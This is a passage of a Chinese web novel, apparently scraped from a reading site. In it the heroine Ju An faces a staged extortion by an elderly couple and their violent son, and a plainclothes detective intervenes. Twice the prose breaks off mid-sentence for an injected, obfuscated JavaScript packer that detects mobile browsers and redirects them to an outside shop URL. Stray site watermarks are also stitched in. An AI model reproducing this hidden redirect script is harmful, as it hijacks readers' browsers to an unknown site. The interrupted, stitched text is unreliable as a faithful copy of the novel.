“唉~”汤晴跟着长叹一声,情绪跌至谷底,“报警也就拘个几天,还怕被报复,不报警又怕对方变本加厉、越来越猖狂。这种人真是天煞,就该出门被雷劈!我这两天都睡不好,家里人也总是唉声叹气地说我运势很差。” 说起家人,雎安顿感胸口被厚厚的砖头压着,有种透不过气的感觉,“我根本就没敢和我父母说,他们肯定会说我报警是多管闲事,然后就和你家人一样唉声叹气。” 两人平日里交情本就不错,都为彼此早退打过掩护,此刻更是有种战友的感觉,同仇敌忾地捣鼓着碗里的饭,吃完饭后接着发发牢骚,并肩回了办公室。直到次日中午,雎安捡笔的时候撞到桌角,才想起自己前天答应张徐行的事。 “汤晴。” “嗯?” “你还记得张徐行吗?” 正在刷外卖软件的汤晴一愣,而后说道:“记得,就是那个长得甜甜的帅哥。” 雎安观察着汤晴的表情,小心翼翼地说道:“我前天吃饭的时候碰到他,他问我要你的联系方式,我说得经过你的同意。” 汤晴眼睛陡然睁大,几秒后恢复正常,耳朵却透出些红晕来,“啊?我有男朋友耶,算了吧。” “你有男朋友?!”这回变成雎安的眼睛陡然睁大,“什么时候的事?上次我们聊天,你不还说你是母胎solo吗?” “对啊。”汤晴的耳根子更红了,嘴角含着笑道:“缘分来了嘛~其实......我说我是母胎单身的时候,就已经在和他暧昧了。” “哦~难怪你那段时间总问我用什么化妆品,还总买新裙子,原来如此~”雎安的声音不大,声调却是往上扬的,加上笑得眉眼弯弯,还用手肘戳了戳汤晴,明显是在调笑她。 汤晴见状,顿觉面上一热,脸直接变成了红 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雎安自嘲地笑笑,“哪来的人和我秘密约会?我就是怕迟到了,朋友会生气。” “噢,那好吧,拜拜~”汤晴有些失望,告别后挽着金浩晨进了嘉源购物中心。 雎安站在“泰美味”门口目睹他们的背影消失后,这才松了口气。只是,她还没能静下来理理思绪,突然就被人用力拍打了双肩,后背还被不知是什么的硬物撞击得生疼,吓得她尖叫出声。 沈薇从雎安身后冒了出来,手里提着的彩妆礼盒颇有份量,“雎安,好久不见了,这是给你的见面礼。” 雎安不是个经吓的人,此刻还没缓过来,所以没有伸手去接礼物。 “抱歉,真吓到你啦?”沈薇抬手在雎安的眼前晃了晃,一边道歉一边拉着雎安走进“泰美味”,“对不起,待会儿我请客赔罪,什么贵就点什么,使劲点!” 雎安呆愣地看着她们牵着的手,回想起初见沈薇时,她觉得她必定是个家境优越、活泼开朗、敢爱敢恨的女生,可长久接触下来,两人互换了不少秘密,雎安发现她家境优越不假,活泼开朗是半真半假,至于敢爱敢恨......则完全是假。 她喜欢了金浩晨九年,在金浩晨尝试靠近她的时候,她自卑、猜疑、退却,在金浩晨往后退的时候,她又纠结、失落、难过。 两人没有在一起,沈薇说她时常会觉得遗憾,她认为是她不够自信和勇敢造成的。可在雎安看来,这其中未必没有男生犹疑的原因。 大学那会宿舍夜谈,沈薇总是会用卑微如尘埃的低落语气强调金浩晨是个多么好、多么优秀而耀眼的一个人。 雎安躺在床上静静听,心脏就好像被这些话语凿了个洞般,总会忍不住地心疼她。可现在回想,雎安觉得自己那时未必是在心痛沈薇。 沈薇说:“可能我真正需要的,是能够坚定地走到我身边的人。” 雎安不禁想起那么追求过她的人,他们都是用背地里试探她的方法来表达好感,在感受到她的冷漠后,就会很快退却。因为她并非不可替代,他们看上的不过是她清丽的外貌,不会有耐心了解她淡漠背后的原因,不会有耐心慢慢地走近她,更不可能会为她舍弃一点脸面和自尊。 最后,沈薇靠在床沿上,低低地呢喃道:“我一直渴望能有一个人可以看着我,只看着我,坚定地走到我身边。” 雎安想,她又何尝不是呢? 只要能有一个人为她点亮一盏灯,让她感受到那份独属于她的偏爱,就算他走向她的步伐缓慢且犹疑,她也会顺着光的指引,坚定地走到他身边。 因为,她知道没有足以让她安心和放肆的偏爱,就算有义无反顾的勇气也无济于事。 33. 你居然敢推我?! “对了,我还没告诉你呢,我下周一就要去博群实验中学报道了。” 沈薇愉悦的声音打断了雎安的思绪,她领着雎安一路到餐厅里最角落的位置坐下,“就是这附近的一所私立中学,你可能都没听过。我听我爸妈说,那学校是近几年才开的,生源不太好,多数都是不学无术但又想出国留学的富二代。唉,不知道会不会很难管?” “你刚回来就找到工作了?怎么这么有效率!”雎安落座后才反应过来,瞪圆双眼道:“而且还是博群,这学校我听过,没有你说的那么差。哟,你好厉害啊~没想到之前一起考教师资格证,你和刘礼晨居然都用上了。” “是啊,那时候辅导员老说趁着有时间就多考证,证越多越好。当时我们就好像被洗脑了一样,在宿舍里面一顿研究,最后决定考教师资格证的原因,是因为去景区玩能有半价优惠。现在想想,真的巨搞笑。”说着说着,沈薇不自觉地笑出了声,回想当年,真是天真浪漫得可爱。 雎安也笑,“确实,不然怎么网上都说大学生的眼里总是透着股清澈的愚蠢呢?” “不过你别说,幸好我当时觉得反应也没事做,就顺手把普通话证也考了,不然现在又得考证了。” 沈薇不无头疼地扶额,“你都不知道,我爸妈一直想我有份稳定的工作,自从堂哥给我介绍了这份工作后,他们就在我耳边催促了好多次,又是让我复习备考,又是让我赶紧回华州。” 突然,沈薇话锋一转,语气变得轻松愉悦,“不过回华州也好,不出意外的话,到时候我申请教师宿舍,既不用天天对着我爸妈,又能约你出来玩。” 说到完,沈薇将原先扶额的手放至胸前,小幅度的左右摇晃,俨然一副贪玩小女孩的模样。 “我下周一去报道,试用期是一个月,”等我先熟悉熟悉校园,到时候带你进去逛逛。” 雎安想起自己的初高中时期,不解地问道:“封闭式的中学不是不允许随意进出吗?我应该进不去吧?” 沈薇不以为意,一副‘包在我身上’的表情,“放心吧,封的是学生,不是老师,到时候我从校门口把你带进去就行。” 接着,沈薇就开始非常热情地招待雎安点餐,见雎安推托着只点了几个小菜,她索性一下加了五道硬菜。 “炒肉蟹、芒果虾卷、咖喱鸡,碳烤猪颈肉,菠萝甜酸鱼,这几个全是硬菜,我们退掉两个吧。”雎安出声劝道。 “不退不退。”沈薇摆手,直接一键付款,“吃不完可以打包嘛,你就当帮我试菜了。我这次回来工作,我哥帮了我不少,我爸妈让我请我哥和我哥的朋友们吃顿饭。我告诉你,他们可挑剔了,有得人说话还特别直,我就怕这家店是‘美丽废物’,今天就由你来帮我甄别甄别。” 雎安傻乎乎地点头,沈薇笑而不语,只一味的让雎安多吃点。 俗话说,拿人手短,吃人嘴软。 雎安用完餐后,沈薇见时机成熟,唇角一勾,开始轰炸式地邀请雎安一起来参加聚餐。 “尴尬?当然尴尬!我和我哥的朋友们基本聊不来,我就是怕尴尬才叫你来的。你不是就在这附近工作吗?下班来吃个饭的事,到时候他们聊他们的,我吃我们的,这样就不尴尬啦~” “拜托拜托了,你一定要来~” 2023年6月14日,中午十二点半。 雎安站在公司楼下,心里非常后悔。 她一向都对各种聚餐避之不及,昨天完全是硬着头皮答应下来的,一想到待会儿要参加朋友组织的她哥哥的朋友们的聚餐,心里就直发怵。 “要不找个理由不去了?”雎安喃喃,前进的步伐慢而缓。 正值饭点,嘉源商圈附近的写字楼下都是觅食的白领,行进的目的地都是嘉源购物中心的餐饮区,雎安从公司楼下出发,恰巧需要穿过嘉源购物中心才能抵达位于嘉源广场上的泰美味餐厅。 室内是清凉怡人的二十二度,室外是又闷又热的三十三度,雎安站在人来人往的嘉源购物中心的大门口,看着马路对面的泰美味,内心在做最后的斗争。 手机振动,沈薇发来信息催促雎安,说是菜都快上齐了,让她快来! 雎安低头看着和沈薇的微信聊天框,最终决定做个言而有信的人。 她深吸口气,抬脚往外走的同时,习惯性地望向“泰美味”的大门。 除去迎宾的服务员,门口伞棚下站着两个高大的男人,其中一人穿着oversize的黑色短袖,过分瘦削的身材实在是有些单薄,另一个人则穿着仿麻感的淡绿色翻领衬衫,宽肩窄腰,肌肉坚实,胸肌的轮廓在略透的淡绿色下落隐落现。 是卢宇年和宋挚。 他们正站在一起聊天,不知在聊些什么,两人的嘴角轻轻翘起,姿态轻松,气氛和谐。雎安顿住脚步,在看清人脸的瞬间,不带丝毫犹豫地转过身去,抬脚往回走。 是啊,沈薇的哥哥是沈邃行,宋挚和卢宇年都是他圈子里的人,她怎么能忘了呢? “啊!对不起。”李博勤迟到了十五分钟,从停车场上来后就行色匆匆地往餐厅赶,一个不留神就撞到了人,“我赶时间,没注意到你,不好意思。” “没事。” 李博勤道歉时,根本就没看自己撞的是谁,他焦急地往外探头,看到站在门口的宋挚和卢宇年恰巧也在看他,他小跑到他们面前,气喘吁吁地解释道:“抱......抱歉,我过来的时候有点堵车。” 没有人回应他,他奇怪地抬头,发现宋挚和卢宇年都不约而同地望着他来时的方向。他不免好奇,也跟着回头,好奇身后发生了什么,可他左看右看,也没发现有什么特别的人和物。 “你们在看什么?” “没什么。”宋挚收回视线,对着卢宇年和李博勤说道:“都进去吧,这里很热。” “对不起,公司临时有事,我去不了了,下次请你吃饭!!” 紧接着,雎安发了一系列“对不起”的表情包,跪地求饶的动作瞬间占满了整个手机屏幕。 唉~这么蹩脚的借口,希望沈薇不会怪她出尔反尔吧。 雎安放下手机,就在抬头的瞬间,差点和迎面而来的人撞个满怀,幸好她反应快,及时往后退了两步。 “抱歉。”雎安摇摇晃晃地站稳后,下意识地道歉,想到这是今天第二次了,有些无奈。 “站住!” 熟悉的怒吼熟悉得让雎安一震,她抬头去看,面前站着两个看着大概是六十岁的阿叔阿姨,他们的身后还站着一个人高马大的汤尊。 三人不约而同地瞪着雎安,表情出奇得一致。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16013124|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难怪那么熟悉,眼前的阿叔阿姨就是在公交车上撒泼的人! 对上眼的瞬间,雎安知道自己摊上事了。 “你这年轻人怎么回事?!路不好好走,差点就撞到我,我要是摔倒了怎么办?”阿姨指着雎安的鼻子破口大骂。 这次毕竟是她理亏,雎安有错就认,躬身赔罪,“抱歉,我刚刚没仔细看路。” 阿叔瞪着雎安,“道歉就算了?” 见雎安是个娴静秀气的姑娘,低着头不作声,阿姨略一思忖,上前抓住了她的手,情绪愈加激动:“我这一把年纪的老骨头,差点被你害惨了!” 雎安先是被她突然上前的动作吓一跳,而后又被抓住了手,心里不禁有些惊慌。她努力控制住自己的情绪,语气平静地解释道:“抱歉,刚刚我是想对面的大厦,差点撞到你是我的不对。不过,我是差点撞到你,但并没有撞到你,你也并没有因此受伤。如果你因此受惊的话,我给你500块,就当请你们喝茶了。” 说着,雎安拿出自己的手机,略过两位中老年人,示意汤尊打开收款码。她想着,只要她冷静下来,不要像装置那次般慌神,也不要和他们起无谓的争执便可以顺利解决。 殊不知对方见她遇到人指着鼻子骂都和颜悦色的,拿钱还特别爽快,更加认定她是个好欺负的人。 “我老伴差点就被你给害了,你就想用五百块来打发我们?!你刚才说是你的不对,那就赔钱!” “就是。”阿姨中气十足地附和道:“我本来心脏就不大好,万一回去以后出了毛病,那可怎么办?” 这话……真可谓是,人心不足蛇吞象。 雎安冷哼一声,回想起阿叔阿姨在公交车上和众人吵得脸红脖子粗的模样,又想起汤晴说她爸妈最近总是暴跳如雷地骂她胳膊肘往外拐。 他们如若真有这么容易受惊,只怕不会有精力和周围的人斤斤计较,更不会冒着犯病的危险频繁的与人起争执。 “我再说一次。”雎安的语气变得强硬,“我根本没有碰到你,更没有弄伤你。我和你无冤无仇,更没有必要害你。我只是看你们年纪也大了,所以才想着转五百块安抚费。如果你们不想要,那我就走了。” 雎安冷脸以对,不想再做纠缠,手上也就用了些力,试图将手从阿姨的手中抽离。谁知阿姨突然变得十分激动,拉着雎安的手来回推搡,长达二十秒的拉扯后,阿姨就莫名其妙地倒在了地上,嘴里哀嚎着有人推她。 雎安显然这一番操作给惊到了,呆愣着站在原地,张着嘴却没能发出一点声音。 “你居然敢推我?!”老奶奶撑起身,怒不可遏地用左手的食指指着雎安,之后又摸着自己的臀部发出怪异的叫声。 “就是!这女的先是走路不看路,拒不赔偿后又推倒我老伴,大家都来看看啊~~” 两人的嗓门极大,其中一人又和年轻女人有肢体上的拉扯,引得路人纷纷侧目,而老爷爷的喊叫声和招手的动作则直接引来了路人的驻足围观。 雎安气急,冲着他们喊道:“你们怎么这么不讲理?还躺地上讹人,我现在就报警!” 话音刚落,雎安毫无防备,被三两步上前的汤尊用力一推,因脚步不稳,失去重心,蓦地向后倾倒。 现场响起了一片尖叫声。 34. 不是,你疯了吧? 晋江文学城 “欢迎总部领导莅临检查,请从右侧进入门店,您会看到电梯,谢谢!” 雎安的身后是一个支架式的LED方形广告牌和一个通着电的四座排插,在和阿姨起争执的时候,她就有注意到,所以还往前刻意避开了些,谁知被汤尊这么一推,就控制不住地连退三步,双手无助地在空中挥舞,却什么都没抓住,人也没能站稳。 在往下倒的那刻,她在想,如果后脑勺砸到广告牌的边角的话,她会不会脑震荡?会不会死呢? 她不想死,也不想受伤,一点也不想! 她长这么大,还没去过华州以外的地区,死意味着她再也没机会去看祖国的大好河山。她也不想花太多钱,目前她很没有赚大钱的能力和眼光,而想要实现梦想中的生活,不可避免的需要很多钱,受伤意味着她要把好不容易攒的存款花在治疗上。 “砰!” 雎安绝望地闭上了眼睛。 “你没事吧?” “嗯?” “能站稳吗?” 雎安迷茫地睁开眼,印入眼帘的是周浮沉紧绷的脸。他眉头紧蹙,抓扶着她的手臂青筋凸起,眼中蕴着怒气。 “嗯。”雎安没有征愣太久,借着周浮沉的力站稳后,迅速松开手,往侧边走了两步,躬身道谢:“谢谢,谢谢你!” 动作流利,身上也没有出现任何痛感,雎安松了口气,除了庆幸自己还算幸运,没有受伤之外,还格外庆幸在这碰到了周浮沉。 “没事就好。”周浮沉的注意力并不在雎安身上,他恶狠狠地盯着汤尊,“你是怎么回事?是想去派出所吗?” 汤尊眼中闪过一丝慌张,但很快便换上一副凶神恶煞的表情,厉声道:“是那女的污蔑我爸妈在先,又不关你事,你管个屁,滚开!” 汤尊的声音震得雎安的耳膜隐隐作痛,而为了展示他的威压,他还一边指指点点一边逼近周浮沉,最后手落在周浮沉的衣领上,试图以此震慑住多管闲事的他。 雎安这才注意到周浮沉今天没穿着警服,而是穿着一身略宽松的便装。 面对疾声厉色的汤尊,周浮沉不动声色,先是垂眸,不屑地看了眼抓着他衣领的手,而后抬眸,紧盯着汤尊的眼睛说道:“你不仅寻衅滋事,还碰到了我,怎么会不关我的事?” 汤尊像是听到了什么很好笑的事,指着雎安,朝周浮沉吼道:“那你就帮她赔钱啊!” “她不用赔钱,我也不用。”周浮沉回身,指着身后长长的阶梯道:“在你们还没起冲突的时候,我们就在楼梯上了,看得一清二楚。她没有过错。” 我们? 雎安看了眼周浮沉身后黑皮壮汉,他极敏锐地捕捉到了雎安的目光,用余光扫了眼雎安。雎安倏地收回视线,心中笃定他也是警察。 “你们真是畜牲!”阿叔冲到汤尊前面,将自家儿子护在身后,指着雎安骂道:“看人姑娘漂亮就帮她,你们说不定就是一伙的,专欺负我们这种老实人。大家都过来啊~你们看看她,再看看我躺在地上的老伴,看看这些人是怎么睁眼说瞎话的!” 阿叔情绪激动,说着说着便摆出一副快要哭出来的模样,阿姨则在地上咿咿呀呀地叫唤着。 汪炎叹了口气,想到他和周浮沉的问询名单里有汤尊这个人,如果汤尊和近期的毒品案有关,现场又有这么多人在拍照录像,那他和周浮沉最好不要在这么多人面前亮明刑警身份。 见周浮沉面色阴郁,有要拿出警官证的架势,他走到他身后,扯了扯他的衣角,压低声音道:“不要在那么多人面前暴露身份,我用短信叫了附近的民警,待会儿就送他们去派出所。” “就是啊,你看人阿姨的腿都青了。”热心的路人阿姨上前一步,责备雎安,“我们这个年纪摔一跤可是大事!赶紧先让人上医院检查吧,你把医药费出了就行了。” “对,你们先去医院。”雎安面不改色地道:“我会报警,和警察一起查监控,让警察来定我们双方的责任。” “什么?!”阿姨坐起身,不满地质疑道:“你不和我们一起去医院,谁知道你会不会跑路?还报警?我看你是想逃脱责任吧?!” 雎安低头一笑,往前走了两步,“报警后警察有我的联系方式,我怎么跑得了?” “我看你这个样子......”阿姨冷哼一声,“怕不是想赖医药费吧?” 兴许是因为周浮沉和黑皮壮汉在场,雎安有了底气,随即说道:“一开始我就没有碰到你,你也没有摔倒受伤,我说给你500块当受惊的安抚费,你突然就莫名其妙地主动靠近我。那个时候我就注意到你走路明显不稳,左臂不怎么晃动且使不上劲,左腿小腿处还有些肿胀和淤青。我妈妈曾经在骑电车的时候摔过一跤,和你的症状很像。后来你扯着我的手,又突然松手,然后就摔在了地上,我明明看你是右侧身体接触的地面,但现在明显的外伤在左侧。” “放屁!”阿叔指着雎安,口水飞溅,“你个贱货,有男人撑腰就变脸了!” “是我的责任,我就会负责。”雎安根本不看阿叔,只居高临下地看着阿姨左小腿处的肿胀,“不是我的,我绝不会让任何人讹我。” 话音刚落,雎安就被突然冲过来的阿叔用头撞得连连后退。 周浮沉反应过来的时候,雎安已经倒在扶梯上,借助着扶手重新站稳。 “好啊你!”阿姨坐在地上,破口大骂道:“敢污蔑我们碰瓷,我诅咒你,诅咒你早死,诅咒你不得善终!” 阿叔也骂道:“贱人!你家有没有老人?有没有父母教?是不是都死光啦?” 方才的路人阿姨都听不下去了,出声劝两人:“哎呀,过了过了,没必要诅咒人姑娘和家里人嘛~有理都变没理了。” 其他看戏的路人里也有人小声附和:“就是就是。” “关你们什么事?!”汤尊目露凶光,额上的青筋隐隐而现,一边说一边逼近刚刚出声的人群,“我们和那女的怎么样,和你们有关系吗?她是你们的亲戚吗?嗯?” 周浮沉一把抓住他的肩,“你不能走。” 汤尊回神,恶狠狠地瞪他,周浮沉依旧不为所动,汤尊瞬间被激怒,抬手就往周浮沉脸上抡,周浮沉先是侧头躲闪,而后抓住他的小臂,一个反手就将其制服。 他们的力量过于悬殊,甚至没有打斗的过程就出了结果。 “啊~好疼好疼,松手,你松手啊!” “放开我儿子!”阿叔猛地往周浮沉身上扑,周浮沉怕他因此摔倒,只能在松开汤尊后连退两步,伸手扶了一把这意欲殴打他的阿叔。 谁知阿叔竟直接抓住他的手不放,顺势跪在地上,另一只手扯着周浮沉的衣角,冲着拍照录像的人群哭诉他欺负老人。 “现在的年轻人都怎么了?现在的社会都这么了?我们这代人辛苦了大半辈子,从前吃不饱、穿不暖,现在日子好了,还要被人欺负,被说是讹人。”大娘颤颤巍巍地走向雎安,气急败坏地抬手,说话间每停顿一次,就击打一次雎安的手臂,“你个死没良心的,肯定是家里没长辈,全家都死光了!” “真是够了。”汪炎走到大娘身后,语气没什么起伏,眼眸却是寒气逼人,“有问题就去派出所解决。” “就是,就该去派出所。”人群中有人小声地附和。 “我都这么老了,去派出所干嘛?难道是我害人了吗?”大娘恶狠狠地回头,一看汪炎的肤色和体型,质问的声音瞬间弱了几分。 她选择无视他和他的建议,直接转回身去,在雎安愣神的瞬间,倏地将其推倒在地,“你就是没爹娘教的下场!” 汪炎忍无可忍,他也是一腔热血的年纪,师傅总说是他鲁莽冲动,自知更应沉稳冷静,但他的忍耐是有限度的,自己的同事被他们扯的衣服都已经轻微撕裂,眼前的瘦弱的女生又被欺负成这样,虽然说不要亮明身份的是他,虽然民警可能会在下一秒出现,但他还是不加犹豫地将手伸进了那装着银色手铐的衣兜里...... “不要再为难他们了!你们不就是想让我成为众矢之的吗?冲我来就好了!” 雎安倒在地上的那刻,耳朵像是被棉花堵住一样,一切足以刺穿耳膜的吵闹声都被柔化,即便酷暑天气下的地板热得发烫,抬头时目之所及都是反射着冷光的摄像头,撑着的手肘也传出了酥麻的疼痛感。 那一刻,她却意外地冷静,冷静地高吼出声,冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16020143|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静地泪流满面。 “为什么我明明没有伤害你们,你们却要这样对我?你们难道我看不出来吗?我就背着一个帆布包,浑身上下一点首饰都没有,衣服是几十块的货色,运动鞋的后跟也都发黄破损了。我一个月工资才4000啊~你们怎么忍心这样对我?这世界......这世界为什么忍心这样对我?为什么?到底是为什么?” 她更像是在发泄。 或许,此刻认为她冷静的,只有她自己。 “你们既然咒我去死,想我去死,那就杀了我!现在就杀了我!”雎安从地上爬起来,冲到大娘面前,一把抓起她的手,把她的手摁在她的心脏位置,哽咽道:“答应我,给我一个痛快,让我不用再以邹雎安的身份存在于这个世界,就当是帮我了。” “不是,你疯了吧?” 大娘慌张地往后退,想把自己的手抽回,可她根本抽不回。眼前这个女生,刚刚还一直在默默地承受这她的击打,此刻力气竟意外得大。她抬眼,在和满是眼泪的水眸对上视线的那刻,女生突然咧开嘴,朝她展露笑颜。 “这女的就是个疯子,谁来把她扯开啊!”大娘惊恐地喊道。 可无一人上前帮她,在场的人都被雎安像是突然发狂的表现吓到怔在了原地。 “打,照着我心脏打!或者,你带刀了吗?”雎安面带微笑,一边“友好”地提出方案,一边用握着大娘的手来锤击自己的胸口。 大娘被吓到浑身发抖,用尽全力地把自己的手往回抽。 “好了!”周浮沉毫不费力地挣脱大叔的桎梏,冲到雎安身后,不由分说地将她和大娘的手分开,而后又紧抓她双手的手臂。从远处看,他像是从后环住了她。 周浮沉低头,压低声音道:“冷静,冷静,没事的,你知道我是警察,我会保护你,包括你的人身安全和财产。相信我,嗯?” 雎安仍在大喘气,没有回复他。 “深呼吸,尝试深吸一口气,憋三秒,再呼出去。”周浮沉耐心地引导她放松下来,“很好,再来一次。你要知道,他们那种人不值得你大悲大恸。” “嗯,我知道,我没事的。” 一道低柔中带着些冷静的声音传来,周浮沉悬着的心踏实了大半。 “去死吧你,敢对着我妈装疯?!” 说时迟,那时快,汤尊冲到周浮沉身后,意欲偷袭他们。幸亏周浮沉在他说话前就感受到动静,及时松开雎安,回身格挡,而后迅速回扣他的手腕,用力地向外扭,汤尊顿时发出了短暂而尖锐的吃痛声。 “我告诉你,我是华州市警察局的刑警。刚刚你们讹人和伤人的所作所为,我和我同事都看得一清二楚,要不是考虑到这里人多嘴杂,我还想和你们到派出所好好说说。现在看来,你们是不见棺材不落泪。” 周浮沉松开龇牙咧嘴的汤尊,拿出警官证怼到他面前,居高临下地看着他。 “知道我是警察,你还敢对我动手动脚的话,袭警就没跑了。你可别天真地以为有老人挡着就没事,你可不是老人。再者,先前已经有案例,一个女大学生扶老人被讹后上诉,老人虽被免除刑罚,但儿媳做假证被处以十日拘留,老人一家还需要赔偿六万八的精神损失费。而你和你爸妈的情节甚至更严重,多次动手殴打和推搡那女生,要是再加上袭警,你好好想想后果吧。” 说完,周浮沉根本不看汤尊煞白的脸,一副“你要打我就请便”的模样。 他回到雎安身边,想劝她去医院看看,然而话还没出口,就看到她一脸震惊地看着广场上方。他不免好奇,顺着她的视线往上看,这才发现围栏处围满了人,俯视他们的人群里竟有不少是他的熟人。 宋挚、沈薇、沈遂行、金浩晨、李博勤、张承、李豫,还有几个他眼熟但一时想不起名字的人。 只是现在这个情况,他没想打招呼寒暄,第一反应是关注雎安的身体和心理情况。 她的脸色看起来很不好。 “我带你去医……” 不过须臾,他们的身后又响起了刺耳的尖叫声和倒地声。 雎安和周浮沉应激般回头,看到的却不是朝他们而来的拳脚,而是一脚飞踢将汤尊踹倒在地的卢宇年。 35. “走吧,我请客。” 晋江文学城 “新消息。”梁询一屁股坐在周浮沉身旁的空位上,将一份文件推到他面前,“这次缴获的大量毒品与我们在2021年年底意外缴获的毒品成分极其相似。要说差别,那就是纯度更高,颜色由之前呈现出的淡黄色变成了市面上常见的纯白色。” 周浮沉放下手中翻阅到一半的供词,一边拿起面前的文件,一边询问:“那这是不是意味着华州市内有制毒窝点?” 梁询瘪瘪嘴,“这么大的量可不好运,而且肯定不止那些,基本没跑了。” 见周浮沉对着资料陷入沉思,梁询开口打断,“对了,上次我不是有意针对你。我刚来的时候,前辈都会让我跑跑腿,所以我潜意识里就默认了。” 周浮沉的声音里没什么情绪,“嗯,我知道了。” 好冷漠。 就在梁询尴尬地左看右看,准备回到座位上处理案情的时候,周浮沉蓦地抬头看向汪炎空空的座位,像是突然想到什么,转头询问道:“前辈,你待会儿有空吗?” ———————— “然后呢,然后呢?警察怎么罚的他们?”沈薇激动地猜测,“快告诉我呀!袭警、扰乱公共秩序、还动手打人,这些罪行加起来,就算罚不了那老的,总得狠狠地罚那小的吧?” “嗯~就是拘留和罚款而已。不过,汤尊听到以后还是脚底抹油似地跑了。俩老人顺势跪在地上抱着警察的大腿不让他们追人,哭天喊地的,吵得我头疼。” 说着,雎安揉了揉太阳穴,想到自己花费一下午时间看这出无厘头的闹剧,还因为请假被扣了全勤,就忍不住地想叹气。 这样想着,便不自觉地叹了出来。 “哎呀,你别叹气!总是叹气对气运不好。汤尊那种人,听到自己要遭殃就抛下父母,十足十的人渣啊,就算警局不收他,老天指不定明天就把他给收了。”沈薇瘪瘪嘴,“反正,他跑了也没用,最后周浮沉他们还不是会把他给抓起来。” “周警官和汪警官他们是刑警,不管这个。而且,他们好像有什么重要的任务,讯问完汤尊以后,和陈警官说了会儿话就离开了。哦对了,这次处理案件的陈警官,就是我在图书馆碰到变态的那次,在警车上说案例来安慰我的那个警官。” “这么巧?那他人应该挺好的。”沈薇随口应一句,而后终于问起自己最感兴趣的部分,“那卢宇年呢?他有没有被缠上?我告诉你,我和我哥都可讨厌他了,虽然他那一脚踢得是真好,非常解气!但也不知道今天是抽了什么风,以往他都是欺负人的那个,根本就不可能会见义勇为。” 沈薇回想起中午的场景,卢宇年在一脚踹飞汤尊后,第一反应就是看向雎安。 “难道......你们认识?” 路上很堵,雎安被多次急刹弄得有些反胃,公交车抵达南林社区站时,反应慢了半拍,前面的人都下完了,她才火急火燎地冲到车门口,赶忙下了车。 “不认识。” 慌乱中,雎安仍极快地否认:“是汤尊和卢宇年之前就有过节。我有个叫汤晴的同事,她是汤尊的妹妹。和我吐槽过他哥欺软怕硬。有一次我们外出吃饭时碰到卢宇年,汤晴说卢宇年就是超速行驶并追尾他哥的人。当时他哥很气愤,下车骂了几句、态度也凶了点。卢宇年听到后,一下车就给他哥一巴掌,之后还把他哥打得鼻青脸肿、脸上还留了道疤。” “难怪我看那汤尊一副看到鬼的模样,真是恶人自有恶人磨啊~”沈薇在电话那头轻笑出声,以为雎安会跟着附和她,没想到听筒里只有雎安的气喘声,故而关心道:“你还好吧?是不是吓坏了?” 雎安放慢步伐,平缓自己的呼吸,如实回答道:“嗯,是有些。毕竟我差点就要赔上所有积蓄,还得白打工几年,想想后背都发凉。” “唉~当时你哭得下气不接下气,后来又一边掉眼泪一边笑,真是吓死我了。我就怕你被那些畜生气疯了,幸好现在你人没事,也不用赔钱。”沈薇略一思索,安慰道:“本命年嘛,有点倒霉也正常。你别想太多,改天我陪你去寺庙祛祛霉运。” 说到本命年,雎安倒是想起来一件事。 刚过完年的时候,纪小梅就让雎安买条红绳戴着保平安,雎安应完好,转头就忘了。直到六月份,倒霉事一件接一件,她又碰巧注意到宋挚手上那条编得极丑的红绳,这才想起来本命年戴红绳的事。 有没有用另说,图个心理安慰也不错。 雎安这样想着,便应道:“也好,我正好去买条红绳来戴。” 沈薇看眼墙上的日历,问道:“这周日怎么样?” “可以,我们下午两点见?” “OK.” 挂断电话后,雎安沿着蓉湖慢慢走回家。而傍晚六点正好是放学的时间,她周围全是身穿黄色运动服的学生,隐在他们之中,就能假装不经意地连续且快速地扫几眼张记鸡公煲。 有几个服务员在窗边说笑嬉闹,除此之外,没什么特别。 意料之中的事,雎安平静地收回视线,转而看向波光粼粼的湖面。脑中不受控地去想自己哭天抹泪时,沈薇和宋挚的心里是什么感受?是震惊?是羞耻?还是厌恶? 毕竟她在这么多人面前揭短,沈薇也说她像是疯了一样,宋挚虽然没什么表情,但在两人视线相触的瞬间,就低头收回了视线。 兴许......是觉得她丢人吧。 此时,裤袋里的手机一连震动三次,她掏出手机,点开顶着小红点的消息框。 是三条提醒她快递即将超时退回的信息。 最近事情太多,每天都忧心忡忡,她竟然连五天前快递都没取。雎安拍拍自己的脑袋,转身往快递驿站的方向走去。 她万万没想到会在门口碰到宋挚。 几乎是下意识的,她停下脚步,即刻就要转身离去。但宋挚就像是有感应,极快地捕捉到打量他的视线来源,发现了瞪圆眼睛、面露惊诧的雎安。 他面无表情地抬起手,语气淡淡道:“Hi.” “Hi.” 雎安和梁询异口同声,两人应完,都面带疑惑地看向对方。 宋挚轻笑,对着雎安问道:“来找快递?” “对。”雎安笑笑,指了指里边:“我有三个快递,先去找了。” “好。” 简单的寒暄后,雎安刻意放缓脚步,假装淡定而从容地往里走。 身后的宋挚朝梁询解释道:“抱歉,遇到个朋友。我想先应她,免得她尴尬。” “我理解我理解~”梁询的语调里有调笑的意味。 雎安的脸刷地红了。 时下正值六月酷暑,驿站里又没有空调,只有几架风扇,可这人多、快递更多,肯定是太闷热了。 